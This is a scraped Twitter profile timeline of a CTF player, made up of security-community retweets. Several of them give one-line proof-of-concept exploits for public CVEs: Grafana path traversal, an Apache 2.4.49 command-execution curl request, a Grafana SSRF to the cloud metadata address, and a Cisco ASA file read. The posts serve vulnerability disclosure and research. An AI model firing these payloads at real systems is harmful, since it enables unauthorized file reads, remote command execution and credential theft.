And @d90pwn

LC↯BC / MSLC CTF player Frozen Hell Joined July 2012

Tweets

321
Followers

916
Following

115
Likes

25

Claudio Viviani @homelabit

4 years ago

Grafana's LFI (grafana-clock-panel plugin): GET /public/plugins/grafana-clock-panel/../../../../../../../etc/passwd

0 2 10 0 0

ch @chybeta

4 years ago

DIFFERENT + MIX = SSRF BYPASS

Nithin 🦹‍♂️ @thebinarybot

4 years ago

DIFFERENT + MIX = SSRF BYPASS https://t.co/gi9stC7R1o

14 291 700 0 327

0 22 90 0 22

Download Image

hackerfantastic.x @hackerfantastic

4 years ago

Here's how to run full commands with arguments via CVE-2021-41773 via a path traversal vulnerability in the event mod-cgi is enabled on Apache 2.4.49 curl --data "A=|id>>/tmp/x;uname\$IFS-a>>/tmp/x" 'http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -vv Patch urgently.

15 507 1K 0 175

Download Image

Aleksei Tiurin @antyurin

4 years ago

The presentation from my talk "Weird Proxies/2 and a bit of magic" at @ZeroNights speakerdeck.com/greendog/2-and…

8 185 421 0 141

Emil Lerner @emil_lerner

5 years ago

I've just released the source code for 1u.ms at github.com/neex/1u.ms. PRs are welcome :)

2 38 119 0 25

Source Incite @sourceincite

5 years ago

Smarty Template Engine Multiple Sandbox Escape PHP Code Injection Vulnerabilities: srcincite.io/blog/2021/02/1…

0 66 130 0 23

And @d90pwn

5 years ago

#TetCTF2021 #AMF2 unintended solution

1 0 16 0 1

Download Image

Nguyen The Duc @ducnt_

5 years ago

TetCTF2021: I have a Web⚔️Crypto: Next-Gen Proxy challenge. It's get inspired by great research of @joshmdx was presentation in BlackHat USA 2020. It's about TLS + SSRF = RCE. Also, here is my slide included in the flag of this: shorturl.at/cquJ7 Happy hacking new year.

2 8 42 0 5

Download Image

Janggggg @testanull

5 years ago

Analysis of CVE-2020-14882 Weblogic RCE via HTTP CVSS 9.8/10 Hope you enjoy it ;) Thanks an anonymous man for supporting! testbnull.medium.com/weblogic-rce-b…

9 238 598 0 97

Ben Sadeghipour @NahamSec

5 years ago

Check out @Rhynorater's blog post on CVE-2020-13379: Unauthenticated SSRF in Grafana! rhynorater.github.io/CVE-2020-13379… POC: /avatar/tesdt%3Fd=redirect.rhynorater.com%25253f%253b%https://t.co/tpG2O3i9Bj%252f169.254.169.254

10 230 609 0 140

Download Image

Pavel Zhovner @zhovner

5 years ago

Thank you all so much, that’s incredible, I’m just speechless. We will try very hard and do our best at the production stage to make sure everyone gets Flipper on time. These two days were just crazy and I need to get some sleep now. See ya soon. P.S check the new skin out

35 49 441 0 5

Download Image

Ahmed Aboul-Ela @aboul3la

5 years ago

Here is POC of CVE-2020-3452, unauthenticated file read in Cisco ASA & Cisco Firepower. For example to read "/+CSCOE+/portal_inc.lua" file. https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ Happy Hacking!

37 691 1K 0 260

Download Image

Cyber Advising @cyber_advising

5 years ago

CVE-2020-8163 - Remote code execution of user-provided local names in Rails Versions Affected: rails < 5.0.1 - Fixed Versions: 4.2.11.2 PoC github.com/sh286/CVE-2020…